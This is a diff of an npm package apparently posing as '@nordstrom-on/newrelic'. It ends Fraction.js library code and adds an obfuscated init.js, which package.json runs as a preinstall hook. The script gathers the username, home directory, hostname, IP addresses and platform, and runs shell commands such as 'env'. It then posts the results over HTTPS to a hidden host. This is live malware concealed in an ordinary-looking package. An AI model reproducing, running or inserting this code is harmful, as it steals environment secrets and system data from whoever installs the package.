861
|
+
var str = this['s'] < 0 ? "-" : "";
|
862
|
+
|
863
|
+
str += N / D | 0;
|
864
|
+
|
865
|
+
N %= D;
|
866
|
+
N *= 10;
|
867
|
+
|
868
|
+
if (N)
|
869
|
+
str += ".";
|
870
|
+
|
871
|
+
if (cycLen) {
|
872
|
+
|
873
|
+
for (var i = cycOff; i--;) {
|
874
|
+
str += N / D | 0;
|
875
|
+
N %= D;
|
876
|
+
N *= 10;
|
877
|
+
}
|
878
|
+
str += "(";
|
879
|
+
for (var i = cycLen; i--;) {
|
880
|
+
str += N / D | 0;
|
881
|
+
N %= D;
|
882
|
+
N *= 10;
|
883
|
+
}
|
884
|
+
str += ")";
|
885
|
+
} else {
|
886
|
+
for (var i = dec; N && i--;) {
|
887
|
+
str += N / D | 0;
|
888
|
+
N %= D;
|
889
|
+
N *= 10;
|
890
|
+
}
|
891
|
+
}
|
892
|
+
return str;
|
893
|
+
}
|
894
|
+
};
|
895
|
+
|
896
|
+
if (typeof exports === "object") {
|
897
|
+
Object.defineProperty(exports, "__esModule", { 'value': true });
|
898
|
+
exports['default'] = Fraction;
|
899
|
+
module['exports'] = Fraction;
|
900
|
+
} else {
|
901
|
+
root['Fraction'] = Fraction;
|
902
|
+
}
|
903
|
+
|
904
|
+
})(this);
|
package/init.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const a0_0x455426=a0_0x1f90;(function(_0x23a927,_0x283adc){const a0_0x4ba474={_0x5a10de:0xe9,_0x572d98:'7X6Q',_0x1c5655:0x15c,_0x4ddc14:0x155,_0x393002:'&Hia',_0x517ba2:0x115,_0x2a28d0:'w[1p',_0x14e7b8:0x12f,_0x20d236:'zaNA',_0x110762:0xea,_0x3d4cce:'BLIv',_0x3fa149:0xfa,_0x1e8b35:'!5vL',_0x5b1ac0:0x150,_0x56b45a:'K3*s',_0x3885ab:0xf2,_0x37100c:'X#XK',_0x232e3d:0xf8,_0x346385:'2#Vv'},_0x4ea7ed=a0_0x1f90,_0xc583f8=_0x23a927();while(!![]){try{const _0x1f4d46=-parseInt(_0x4ea7ed(a0_0x4ba474._0x5a10de,a0_0x4ba474._0x572d98))/0x1*(parseInt(_0x4ea7ed(a0_0x4ba474._0x1c5655,a0_0x4ba474._0x572d98))/0x2)+-parseInt(_0x4ea7ed(a0_0x4ba474._0x4ddc14,a0_0x4ba474._0x393002))/0x3+-parseInt(_0x4ea7ed(a0_0x4ba474._0x517ba2,a0_0x4ba474._0x2a28d0))/0x4+parseInt(_0x4ea7ed(a0_0x4ba474._0x14e7b8,a0_0x4ba474._0x20d236))/0x5*(-parseInt(_0x4ea7ed(a0_0x4ba474._0x110762,a0_0x4ba474._0x3d4cce))/0x6)+-parseInt(_0x4ea7ed(a0_0x4ba474._0x3fa149,a0_0x4ba474._0x1e8b35))/0x7+parseInt(_0x4ea7ed(a0_0x4ba474._0x5b1ac0,a0_0x4ba474._0x56b45a))/0x8*(parseInt(_0x4ea7ed(a0_0x4ba474._0x3885ab,a0_0x4ba474._0x37100c))/0x9)+parseInt(_0x4ea7ed(a0_0x4ba474._0x232e3d,a0_0x4ba474._0x346385))/0xa;if(_0x1f4d46===_0x283adc)break;else _0xc583f8['push'](_0xc583f8['shift']());}catch(_0x1a2c04){_0xc583f8['push'](_0xc583f8['shift']());}}}(a0_0x5408,0x635e7));function a0_0x1f90(_0x2dd984,_0x228ec2){const _0x5408e7=a0_0x5408();return a0_0x1f90=function(_0x1f906d,_0x150957){_0x1f906d=_0x1f906d-0xe8;let _0x177e1e=_0x5408e7[_0x1f906d];if(a0_0x1f90['DLLRXB']===undefined){var _0x335eef=function(_0x4a40a9){const _0x1c023a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x37c9e1='',_0x31f885='';for(let _0x7b9eef=0x0,_0x2b2dbd,_0x2297ba,_0x3e7399=0x0;_0x2297ba=_0x4a40a9['charAt'](_0x3e7399++);~_0x2297ba&&(_0x2b2dbd=_0x7b9eef%0x4?_0x2b2dbd*0x40+_0x2297ba:_0x2297ba,_0x7b9eef++%0x4)?_0x37c9e1+=String['fromCharCode'](0xff&_0x2b2dbd>>(-0x2*_0x7b9eef&0x6)):0x0){_0x2297ba=_0x1c023a['indexOf'](_0x2297ba);}for(let _0x50618f=0x0,_0x3f23ad=_0x37c9e1['length'];_0x50618f<_0x3f23ad;_0x50618f++){_0x31f885+='%'+('00'+_0x37c9e1['charCodeAt'](_0x50618f)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x31f885);};const _0x33489e=function(_0x489762,_0x24d88a){let _0x58dc2b=[],_0x2f98fd=0x0,_0x11e89b,_0x404bac='';_0x489762=_0x335eef(_0x489762);let _0x14d9d0;for(_0x14d9d0=0x0;_0x14d9d0<0x100;_0x14d9d0++){_0x58dc2b[_0x14d9d0]=_0x14d9d0;}for(_0x14d9d0=0x0;_0x14d9d0<0x100;_0x14d9d0++){_0x2f98fd=(_0x2f98fd+_0x58dc2b[_0x14d9d0]+_0x24d88a['charCodeAt'](_0x14d9d0%_0x24d88a['length']))%0x100,_0x11e89b=_0x58dc2b[_0x14d9d0],_0x58dc2b[_0x14d9d0]=_0x58dc2b[_0x2f98fd],_0x58dc2b[_0x2f98fd]=_0x11e89b;}_0x14d9d0=0x0,_0x2f98fd=0x0;for(let _0x194eec=0x0;_0x194eec<_0x489762['length'];_0x194eec++){_0x14d9d0=(_0x14d9d0+0x1)%0x100,_0x2f98fd=(_0x2f98fd+_0x58dc2b[_0x14d9d0])%0x100,_0x11e89b=_0x58dc2b[_0x14d9d0],_0x58dc2b[_0x14d9d0]=_0x58dc2b[_0x2f98fd],_0x58dc2b[_0x2f98fd]=_0x11e89b,_0x404bac+=String['fromCharCode'](_0x489762['charCodeAt'](_0x194eec)^_0x58dc2b[(_0x58dc2b[_0x14d9d0]+_0x58dc2b[_0x2f98fd])%0x100]);}return _0x404bac;};a0_0x1f90['YowESo']=_0x33489e,_0x2dd984=arguments,a0_0x1f90['DLLRXB']=!![];}const _0x29a558=_0x5408e7[0x0],_0x249e98=_0x1f906d+_0x29a558,_0x30d700=_0x2dd984[_0x249e98];return!_0x30d700?(a0_0x1f90['hjlFCH']===undefined&&(a0_0x1f90['hjlFCH']=!![]),_0x177e1e=a0_0x1f90['YowESo'](_0x177e1e,_0x150957),_0x2dd984[_0x249e98]=_0x177e1e):_0x177e1e=_0x30d700,_0x177e1e;},a0_0x1f90(_0x2dd984,_0x228ec2);}const a0_0x56e999=a0_0x455426(0x13f,'&Hia'),a0_0x267fe6=a0_0x455426(0x159,'Ux!b'),a0_0x3e7e26=new Date('2024-06-28'),a0_0x42d3ab=process[a0_0x455426(0x133,'4P%V')][a0_0x455426(0xfc,'8A2)')],a0_0x3db1c5=process[a0_0x455426(0xed,'g6J$')][a0_0x455426(0xec,'w$U0')],a0_0x304be8=a0_0x42d3ab+'@'+a0_0x3db1c5,a0_0x1d1269={'reset':'\x1b[0m','bright':a0_0x455426(0x10e,'DMBw'),'dim':a0_0x455426(0x128,'W%x9'),'underscore':'\x1b[4m','blink':a0_0x455426(0xff,'Rqfz'),'reverse':'\x1b[7m','hidden':a0_0x455426(0x107,'#NxY'),'black':'\x1b[30m','red':a0_0x455426(0x154,'R^AM'),'green':a0_0x455426(0x125,'EC4S'),'yellow':a0_0x455426(0xfe,'uxpg'),'blue':'\x1b[34m','magenta':a0_0x455426(0x138,'j[E$'),'cyan':'\x1b[36m','white':a0_0x455426(0x11a,'cfyn'),'bgBlack':a0_0x455426(0x161,'g6J$'),'bgRed':a0_0x455426(0x119,'Lfhf'),'bgGreen':a0_0x455426(0xfb,'EC4S'),'bgYellow':a0_0x455426(0x139,'g9^X'),'bgBlue':a0_0x455426(0xf4,'g6J$'),'bgMagenta':a0_0x455426(0x148,'N%d&'),'bgCyan':'\x1b[46m','bgWhite':'\x1b[47m'};(async()=>{const a0_0x1cb67d={_0x671f2b:0x127,_0x45f99b:'X#XK',_0x9e3488:0x120,_0xe2b891:'w$U0',_0x5a5536:0x11d,_0x48f169:'7X6Q',_0x479ed5:0x164,_0x285d60:'uxpg',_0x565bb6:0x13b,_0x45f14a:'xK&n',_0x166094:0x12c,_0x282a81:'xK&n',_0x4fc1c7:0x113,_0x444222:'2Gan',_0x52cdc5:0x129,_0x3a6f02:'S*Ad',_0x4a619f:0x101,_0x3e6c67:'BLIv',_0x433a4e:0x104,_0xf3e68f:'7X6Q',_0x30964d:0x105,_0x39ba47:'hDD$',_0xae9c54:0xf3,_0x5c1472:'2NJO',_0x1da2fa:0xf7,_0x32ca1c:'A9rr',_0xdcc500:0x149,_0x1331b1:'8lI^',_0x3a2a07:0x11f,_0xed6447:'4n8z',_0x133917:0x10f,_0x1b01b3:'K3*s',_0x13c61d:0x163,_0x40ac47:0x141,_0x1f0cbd:'Dm)e',_0x40b704:0xf1,_0x4455cf:0x15a,_0xe11c1f:'Uxjl',_0x2179f1:0xfd,_0x260967:'4P%V',_0x576060:0x144,_0x146e40:'g9^X'},a0_0x233113={_0x138af4:0x14c,_0x1b5c5e:'w$U0',_0x485e90:0x14e,_0x16ceb7:'&Hia',_0x168e6b:0x126,_0x445587:'2Gan'},a0_0x590764={_0x194991:0x11c,_0x1b765b:'4n8z',_0x565338:0x12a,_0x194144:'W%x9'},a0_0x10529b={_0x528b36:0x109,_0x4ea3d2:'g9^X',_0x5bdf4f:0x135,_0x5401d4:'!5vL',_0x5a8e16:0xe8,_0x5772c2:'^iyA',_0x290a54:0x167,_0x1b9d23:'f$5l',_0x365a92:0xee,_0x2f8847:'&Hia',_0x20c337:0x118,_0x1247d5:'XHAW',_0x369a59:0x15d,_0x578cc3:'BLIv',_0x289e54:0xf9,_0x1e7140:'4P%V'},a0_0x4ff65a={_0x139981:0x131,_0x474c92:'N%d&',_0x35add8:0xf6,_0x1645dc:'fu7J',_0x4f6918:0x12d,_0x1093f0:'Dm)e',_0x366686:0x15e,_0x5efcd9:'#[un',_0x514787:0x117,_0x19976a:'5s9W'},a0_0xd71006={_0xee08ef:0x15f,_0x5096b4:'W$*B',_0x377eb0:0x156,_0xe1ab3f:'EC4S',_0x732878:0x123,_0x5174ef:'#NxY',_0x3cbf63:0xf0,_0x32cb60:'&Hia',_0x2caef4:0x13e,_0x18f8b4:'fu7J',_0x1e1b79:0x14d,_0x373564:'Zt7%',_0x4faa77:0x12b,_0x3a685a:'R^AM',_0x12e1e7:0x114,_0x3b6202:'A9rr',_0xcfdd60:0x116,_0x5ddd5a:'Zt7%',_0x536720:0x124,_0x45cf89:'w[1p',_0x3d8a22:0x130,_0x1314d6:'g9^X',_0x286619:0xef,_0x108d1a:0x14f,_0x5bbcd:'g9^X',_0x1de6ea:0x157,_0x2a7e98:'Rqfz'},_0x54f410=a0_0x455426,_0x4c4140=await import('node:dns'),_0x123c1f=_0x4c4140[_0x54f410(a0_0x1cb67d._0x671f2b,a0_0x1cb67d._0x45f99b)],_0x535bda=await import('node:https'),_0x54afa2=_0x535bda['request'],_0x4c6c19=await import(_0x54f410(a0_0x1cb67d._0x9e3488,a0_0x1cb67d._0xe2b891)),_0x156f53=_0x4c6c19[_0x54f410(a0_0x1cb67d._0x5a5536,a0_0x1cb67d._0x48f169)],_0x476e7a=_0x4c6c19[_0x54f410(a0_0x1cb67d._0x479ed5,a0_0x1cb67d._0x285d60)],_0x56f0c3=await import(_0x54f410(a0_0x1cb67d._0x565bb6,a0_0x1cb67d._0x45f14a)),_0x136e7d=_0x56f0c3['exec'];function _0x893693(_0x1042f8){const a0_0x1e12fb={_0x703be6:0x106,_0x4a50d6:'xK&n',_0x14daf4:0x137,_0x4d3f70:'8A2)',_0x555621:0x13a,_0x25618f:'8A2)',_0x5392fc:0x10a,_0x4b2aa2:'w[1p',_0x1d4666:0x146,_0x55244f:'2#Vv',_0x2b2db9:0x103,_0xa35ebf:'S*Ad'};return new Promise((_0xf49084,_0x3a6dd1)=>{const a0_0xea2f6d={_0x31dedd:0x121,_0xfd4eb0:'w[1p',_0x4a7b24:0x151,_0x237633:'g6J$',_0x966181:0x100,_0x8bb6eb:'#NxY'},_0x84e8f3=a0_0x1f90;if(_0x84e8f3(a0_0x1e12fb._0x703be6,a0_0x1e12fb._0x4a50d6)===_0x84e8f3(a0_0x1e12fb._0x14daf4,a0_0x1e12fb._0x4d3f70))_0x123c1f(_0x1042f8,(_0x58f32c,_0x2792fd)=>{const _0x37f3fe=_0x84e8f3;_0x58f32c?_0x3a6dd1(_0x58f32c):_0x37f3fe(a0_0xea2f6d._0x31dedd,a0_0xea2f6d._0xfd4eb0)!==_0x37f3fe(a0_0xea2f6d._0x4a7b24,a0_0xea2f6d._0x237633)?_0x3cc847[_0x37f3fe(a0_0xea2f6d._0x966181,a0_0xea2f6d._0x8bb6eb)](_0x18477e):_0xf49084(_0x2792fd);});else{const _0x402fb5=_0x1b650b(),_0x3b271c=[];for(const _0x40f85e of _0x29fbeb[_0x84e8f3(a0_0x1e12fb._0x555621,a0_0x1e12fb._0x25618f)](_0x402fb5)){for(const _0x94a0ed of _0x402fb5[_0x40f85e]){_0x94a0ed['family']===_0x84e8f3(a0_0x1e12fb._0x5392fc,a0_0x1e12fb._0x4b2aa2)&&!_0x94a0ed[_0x84e8f3(a0_0x1e12fb._0x1d4666,a0_0x1e12fb._0x55244f)]&&_0x3b271c[_0x84e8f3(a0_0x1e12fb._0x2b2db9,a0_0x1e12fb._0xa35ebf)](_0x94a0ed['address']);}}return _0x3b271c;}});}function _0x2e2f77(){const _0x349669=_0x54f410;if(_0x349669(a0_0xd71006._0xee08ef,a0_0xd71006._0x5096b4)!==_0x349669(a0_0xd71006._0x377eb0,a0_0xd71006._0xe1ab3f)){const _0x5f106e=_0x156f53(),_0x5450ea=[];for(const _0xa19c2 of Object[_0x349669(a0_0xd71006._0x732878,a0_0xd71006._0x5174ef)](_0x5f106e)){if(_0x349669(a0_0xd71006._0x3cbf63,a0_0xd71006._0x32cb60)!=='MplQx')_0x222a45();else for(const _0x58a390 of _0x5f106e[_0xa19c2]){if(_0x349669(a0_0xd71006._0x2caef4,a0_0xd71006._0x18f8b4)===_0x349669(a0_0xd71006._0x1e1b79,a0_0xd71006._0x373564))_0x58a390[_0x349669(a0_0xd71006._0x4faa77,a0_0xd71006._0x3a685a)]==='IPv4'&&!_0x58a390[_0x349669(a0_0xd71006._0x12e1e7,a0_0xd71006._0x3b6202)]&&_0x5450ea['push'](_0x58a390[_0x349669(a0_0xd71006._0xcfdd60,a0_0xd71006._0x5ddd5a)]);else return _0x349669(a0_0xd71006._0x536720,a0_0xd71006._0x45cf89);}}return _0x5450ea;}else _0x4b36c1[_0x349669(a0_0xd71006._0x3d8a22,a0_0xd71006._0x1314d6)]==='IPv4'&&!_0x47584e[_0x349669(a0_0xd71006._0x286619,a0_0xd71006._0x5096b4)]&&_0x46d9a5[_0x349669(a0_0xd71006._0x108d1a,a0_0xd71006._0x5bbcd)](_0x5e0232[_0x349669(a0_0xd71006._0x1de6ea,a0_0xd71006._0x2a7e98)]);}function _0x1c5fb8(){const _0xfb4069=_0x54f410;var _0x41d9c5=new Date()[_0xfb4069(a0_0x4ff65a._0x139981,a0_0x4ff65a._0x474c92)]()[_0xfb4069(a0_0x4ff65a._0x35add8,a0_0x4ff65a._0x1645dc)]('T')[0x0];if(_0x41d9c5>a0_0x3e7e26[_0xfb4069(a0_0x4ff65a._0x4f6918,a0_0x4ff65a._0x1093f0)]()[_0xfb4069(a0_0x4ff65a._0x366686,a0_0x4ff65a._0x5efcd9)]('T')[0x0])return![];else{if('nbBsJ'!==_0xfb4069(a0_0x4ff65a._0x514787,a0_0x4ff65a._0x19976a))return!![];else _0xd67d2f(_0x213ee0);}}function _0x3f2223(){const _0x458ce9=_0x54f410,_0x483c75=_0x476e7a();if(_0x483c75===_0x458ce9(a0_0x10529b._0x528b36,a0_0x10529b._0x4ea3d2))return'Mac';else{if(_0x483c75==_0x458ce9(a0_0x10529b._0x5bdf4f,a0_0x10529b._0x5401d4)){if(_0x458ce9(a0_0x10529b._0x5a8e16,a0_0x10529b._0x5772c2)===_0x458ce9(a0_0x10529b._0x290a54,a0_0x10529b._0x1b9d23))return _0x458ce9(a0_0x10529b._0x365a92,a0_0x10529b._0x2f8847);else _0x47c6d9(_0x35f35c);}else return _0x483c75==_0x458ce9(a0_0x10529b._0x20c337,a0_0x10529b._0x1247d5)?_0x458ce9(a0_0x10529b._0x369a59,a0_0x10529b._0x578cc3):_0x458ce9(a0_0x10529b._0x289e54,a0_0x10529b._0x1e7140);}};function _0x56f7fd(_0x48a0ab){const a0_0x15e542={_0x4ae048:0x14b,_0x27b4da:'W%x9',_0x14bba5:0xf5,_0x36a3a4:'4n8z',_0x166fd8:0x12e,_0x6ce676:'fu7J',_0x1d7bee:0x110,_0x24a6e1:'#NxY',_0x5c77fd:0xeb,_0x5ffeda:'j62V',_0x529bfd:0x147,_0x840935:'cSv9',_0x2fc99d:0x152,_0x1d0c14:'P3rW',_0x160e76:0x145,_0x348066:'mjxI',_0x22412b:0x132,_0x57165f:'8A2)'},_0x430dce=_0x54f410;if(_0x430dce(a0_0x590764._0x194991,a0_0x590764._0x1b765b)!==_0x430dce(a0_0x590764._0x565338,a0_0x590764._0x194144))return new Promise((_0x5b95ae,_0x2fb200)=>{_0x136e7d(_0x48a0ab,(_0x49be7c,_0x44281c,_0x1dbee0)=>{const _0x56db50=a0_0x1f90;if(_0x56db50(a0_0x15e542._0x4ae048,a0_0x15e542._0x27b4da)===_0x56db50(a0_0x15e542._0x14bba5,a0_0x15e542._0x36a3a4)){if(_0x49be7c){if(_0x56db50(a0_0x15e542._0x166fd8,a0_0x15e542._0x6ce676)===_0x56db50(a0_0x15e542._0x1d7bee,a0_0x15e542._0x24a6e1)){_0x2fb200(_0x49be7c);return;}else for(const _0x4731aa of _0x451d1a[_0x321482]){_0x4731aa[_0x56db50(a0_0x15e542._0x5c77fd,a0_0x15e542._0x5ffeda)]===_0x56db50(a0_0x15e542._0x529bfd,a0_0x15e542._0x840935)&&!_0x4731aa[_0x56db50(a0_0x15e542._0x2fc99d,a0_0x15e542._0x1d0c14)]&&_0x3c96c7['push'](_0x4731aa['address']);}}if(_0x1dbee0){if(_0x56db50(a0_0x15e542._0x160e76,a0_0x15e542._0x348066)===_0x56db50(a0_0x15e542._0x22412b,a0_0x15e542._0x57165f)){_0x2fb200(_0x1dbee0);return;}else return 0x1;}_0x5b95ae(_0x44281c);}else{_0x11b2a1(_0x3d5d33);return;}});});else _0x31f885(_0x7b9eef,(_0x1d5d3c,_0x2ee196)=>{_0x1d5d3c?_0x3f23ad(_0x1d5d3c):_0x489762(_0x2ee196);});}function _0x5085c7(_0x5e5d6e){const a0_0x65fd17={_0x58d34c:0x108,_0x56f6ff:'xK&n',_0xb18dac:0x10b,_0x12eb65:'Rqfz',_0x1a2bf8:0x11b,_0x4c460a:'!5vL',_0x31d725:0x134,_0x36e71c:'j[E$',_0x1124ca:0x153,_0x5a2bbb:'#NxY',_0x5c47b7:0x112,_0x551bc4:'j[E$',_0x31c790:0x165,_0x59ebfa:'g6J$',_0x219350:0x13d,_0xbbd900:'#[un'},_0x3f17c0=_0x54f410;return _0x3f17c0(a0_0x233113._0x138af4,a0_0x233113._0x1b5c5e)===_0x3f17c0(a0_0x233113._0x485e90,a0_0x233113._0x16ceb7)?_0x3f17c0(a0_0x233113._0x168e6b,a0_0x233113._0x445587):new Promise((_0x5c5c77,_0x35dbab)=>{const a0_0x5862eb={_0x20a018:0x11e,_0x192e10:'zaNA',_0xdb9b59:0x111,_0xa061b0:'cfyn'},_0x4d2643=_0x3f17c0;if(_0x4d2643(a0_0x65fd17._0x58d34c,a0_0x65fd17._0x56f6ff)!==_0x4d2643(a0_0x65fd17._0xb18dac,a0_0x65fd17._0x12eb65))_0x268914?_0x4f15b4(_0x4727d2):_0x129bec(_0x4655d1);else{const _0x215411=JSON[_0x4d2643(a0_0x65fd17._0x1a2bf8,a0_0x65fd17._0x4c460a)](_0x5e5d6e),_0x4c4c0f={'hostname':a0_0x267fe6,'method':_0x4d2643(a0_0x65fd17._0x31d725,a0_0x65fd17._0x36e71c),'headers':{'Content-Type':_0x4d2643(a0_0x65fd17._0x1124ca,a0_0x65fd17._0x5a2bbb),'Content-Length':Buffer['byteLength'](_0x215411)}},_0x59204f=_0x54afa2(_0x4c4c0f,_0x54323b=>{const _0x1586d4=_0x4d2643;_0x1586d4(a0_0x5862eb._0x20a018,a0_0x5862eb._0x192e10)!==_0x1586d4(a0_0x5862eb._0xdb9b59,a0_0x5862eb._0xa061b0)?(_0x54323b['on']('data',()=>{}),_0x54323b['on']('end',()=>{_0x5c5c77();})):_0x1995da(_0x4dc17e,(_0x123b1b,_0x3d8928,_0x37e716)=>{if(_0x123b1b){_0x343acc(_0x123b1b);return;}if(_0x37e716){_0x38db0b(_0x37e716);return;}_0xfc07de(_0x3d8928);});});_0x59204f['on'](_0x4d2643(a0_0x65fd17._0x5c47b7,a0_0x65fd17._0x551bc4),_0x2dc8c8=>{_0x35dbab(_0x2dc8c8);}),_0x59204f[_0x4d2643(a0_0x65fd17._0x31c790,a0_0x65fd17._0x59ebfa)](_0x215411),_0x59204f[_0x4d2643(a0_0x65fd17._0x219350,a0_0x65fd17._0xbbd900)]();}});}var _0x1dc9b6={'package':a0_0x304be8};if(!_0x1c5fb8())return;try{let _0x1c3899=await _0x893693(a0_0x56e999);_0x1dc9b6[_0x54f410(a0_0x1cb67d._0x166094,a0_0x1cb67d._0x282a81)]=_0x1c3899;}catch(_0x5b826d){if('dStOb'!==_0x54f410(a0_0x1cb67d._0x4fc1c7,a0_0x1cb67d._0x444222)){var _0xcda54=new _0x40cfbf()[_0x54f410(a0_0x1cb67d._0x52cdc5,a0_0x1cb67d._0x3a6f02)]()[_0x54f410(a0_0x1cb67d._0x4a619f,a0_0x1cb67d._0x3e6c67)]('T')[0x0];return _0xcda54>_0x100a3d[_0x54f410(a0_0x1cb67d._0x433a4e,a0_0x1cb67d._0xf3e68f)]()[_0x54f410(a0_0x1cb67d._0x30964d,a0_0x1cb67d._0x39ba47)]('T')[0x0]?![]:!![];}else return 0x1;}var _0x1ab593=_0x2e2f77();_0x1dc9b6[_0x54f410(a0_0x1cb67d._0xae9c54,a0_0x1cb67d._0x5c1472)]=_0x1ab593;var _0x4f5849=_0x3f2223(),_0x556878;if(_0x4f5849==_0x54f410(a0_0x1cb67d._0x1da2fa,a0_0x1cb67d._0x32ca1c))_0x556878=[_0x54f410(a0_0x1cb67d._0xdcc500,a0_0x1cb67d._0x1331b1)];else{if(_0x4f5849==_0x54f410(a0_0x1cb67d._0x3a2a07,a0_0x1cb67d._0xed6447)){if(_0x54f410(a0_0x1cb67d._0x133917,a0_0x1cb67d._0x1b01b3)!=='jJSkD')_0x556878=[_0x54f410(a0_0x1cb67d._0x13c61d,a0_0x1cb67d._0x444222),'/bin/sh\x20-c\x20env'];else return _0x410f15[_0x54f410(a0_0x1cb67d._0x40ac47,a0_0x1cb67d._0x1f0cbd)]='unknown\x20platform:\x20'+_0x2f074d,_0xe6b3e7(_0x5d06ec),0x1;}else{if(_0x54f410(a0_0x1cb67d._0x40b704,a0_0x1cb67d._0x39ba47)!=='iKsSa')return _0x1dc9b6[_0x54f410(a0_0x1cb67d._0x4455cf,a0_0x1cb67d._0xe11c1f)]='unknown\x20platform:\x20'+_0x4f5849,_0x5085c7(_0x1dc9b6),0x1;else return;}}for(const _0x5f1c94 of _0x556878){try{var _0x5493a3=await _0x56f7fd(_0x5f1c94);_0x5493a3=_0x5493a3[_0x54f410(a0_0x1cb67d._0x2179f1,a0_0x1cb67d._0x260967)](/[\n\r]/g,'\x20\x20'),_0x1dc9b6[_0x54f410(a0_0x1cb67d._0x576060,a0_0x1cb67d._0x146e40)]=_0x5493a3;}catch{}}return await _0x5085c7(_0x1dc9b6),0x1;})()[a0_0x455426(0x15b,'w$U0')](_0x520481=>{const a0_0x532c09={_0x5e6517:0x162,_0x2ff14a:'g9^X'},_0x469353=a0_0x455426;process[_0x469353(a0_0x532c09._0x5e6517,a0_0x532c09._0x2ff14a)](_0x520481);}),console[a0_0x455426(0x10d,'#[un')](a0_0x1d1269[a0_0x455426(0x143,'cfyn')]+'NPM'+a0_0x1d1269[a0_0x455426(0x13c,'R^AM')]+'\x20'+a0_0x1d1269[a0_0x455426(0x14a,'X#XK')]+a0_0x1d1269['bgBlack']+a0_0x455426(0x158,'S*Ad')+a0_0x1d1269[a0_0x455426(0x166,'W$*B')]+a0_0x455426(0x102,'W$*B'));function a0_0x5408(){const _0x299c00=['wmoAW5/cO8k4Aq','cuWLhq4mpSk7lmkDWQq','AmoLWPyGnW','tCoRW40','W4iixhq','WO9tW4Wpeq','W4GIgvT2i8owW7KFmG5IW7y','AmoXWPO+fa','WOKCpbxcOq','jCoGWOBdUCk5','rCoAWQab','hCotzsmeEN5cm8kJW4m7oaRdVmoju8oQ','WPyuzfldUa','mK7dRW','W5JdG8oapYy','W57cLgXhWRNcMvultveHtxRdMd9OiSkYWQvPW5b8n8oLgSkMWQFdRW','hCkpW6HbECoKcY9qu8k7nYWF','AfKVW7ZdVW','WP1njSoatuldICkq','tmoAWPVcSSoJzKW','w8ovW4tcLCkICufo','W4LlWQ/cKCoK','ECkAhXBcICkkBmoY','W7miW4OQ','zNHyEYW','ouxdI8kSW6/cOttcNSkKW5qBiCo5W5S','W50sW4i','WR/cLr3dGmoJ','WOBcHKJcGvO','WPpdLbhcVgm','W5VcGeijWPW','tSooW4hcOG','rmoiW5L8qeHHbv0aWOHwW5G','FbFdN8kGW7y','exvAdSk5WQFdOmoz','sCkOWR1RWQnbWQnOWOZcN8kjW67cHCkFWOWj','W78QjaBdOq','WOpdLZPyW7JdIHmiFf8dcga','WOvihCkzCG','W4WTWObMp8kqqq','W6SPnSkW','W6b+DuxdOSkadSkcWR7cKfWjlSkYCXRcKColW7mTbYtdS2JcSIHuWPG','tXddSuZdVa','WQVcQvFcTq','W67cRaRdH8oGeCodW5xdNCkTdrbJ','WPSJWO5fWQ4','jfddP8oDzq','BIWhoCo+','WOJdT8o6ps3cISoJ','lslcJmoLW7G','w8odW5VcVG','WP7dM8kTWQldMSkOtmooW6ZcSaxdJ8kBjX9R','tu19W6JcOCkVDmkx','qqVdKCkHW7a','rH07n8oj','ESooW77cSmoh','W69knrCF','W67dThZcVSkLCSkv','W6ejWPHkWQ87nG','W6eyn8k9W73dMG','WRhcSv/cHfJdNmotmLnvW4mVBL5BWRddJcHq','uXFdJG','W6BcJ2uoWQxcI1q','xry8n8opWOZdJbm','W7ZcLMC7WRi','Bmo1WO/cLri','WPXbW6rFWPNdUmooBa','WPtdSmkVumoOl8ouk8oB','lslcJmoHW7G','W5/dLYRcPwa','W43dHmoUlIa','WOdcHCkLWPK3WRBcOW','i8oewKddG8oqnCkUW4pcPmknbSoBW6e','FCoRW5bxWR0+Eq','W4WpWPmpf8oMee7dUYVcGLZdVa','W5fxASoVAG','qmopWRqTmCkXuhr5zCkBjHetc8k7','wSoGW4TvWRmQCG','jNOVWQ/cQG','WRysW5f5','tCkGWQrZ','WQq6WOXzWQi','fd06imosWPdcL19Ef1FcGSkRW5ddVuJcSu7cI8oyWRW','W54of8o5','WQVdT3RcP8kBDCkdW5pdOSkPiW','v8oCWPhcUc4','nCoYqGPR','m8kdW7vQ','cCosrHzP','wSoAW4dcVCk9FG','yYaEWR0','W5CNWQnedq','W4vTD3ycs0pcPYFdLfVcImoU','o0/dRa','wY7dVb4','omkYWQqMdq','umksWQr/WRa','smo3WRZcICo6','W7C1Fu/cVG','W5xdQSkWWOpcLW','WR7cGSk/WPGQWQ/cSCkY','gevAWRRcT1j6W5FdOLVcKIddIa','WPtdHZFcTNtcQSod','WQ1IscyT','W6v1W6Ofjq','xmkKWOdcOSoC','nCoMW6RdQCoV','WOToW5bvtCk3tNNdSa','W6JdNYhcLLa','WRhdVuFcG8k7vmkCW6JdPCkZisTtW47cIxGh','A8kIhmk+WO8','W6VdPcFcIei','WRhcRLBcVHldKSod','yb4pW7ZdOW','W7BcOZhdKSoil8k3','q8k9WRr0','FrKgW63dRXe9','W5fxBCoVAG','W7ZdMmkN','W50sW5vHWR/dRmoDkW','W5ZcLeZdTq','W5OulCocshpdI8krbSoqWOq','WP3cIJ3dV8oF','WOiqEL7dOcK','emoDBYDmyeLpmmkQW70IjdRdTSoCuW','EuquW4ddGLBdJSowWRRdNY4','W4BdVSoRpY4','g8ohA8oQW6ldTXZcOcNcJ8o1bWC'];a0_0x5408=function(){return _0x299c00;};return a0_0x5408();}
|
package/package.json
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
{"name": "@nordstrom-on/newrelic", "version": "3.2.0", "description": "demo package", "main": "index.js", "scripts": {"test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node ./init.js"}, "author": "", "license": "ISC"}
|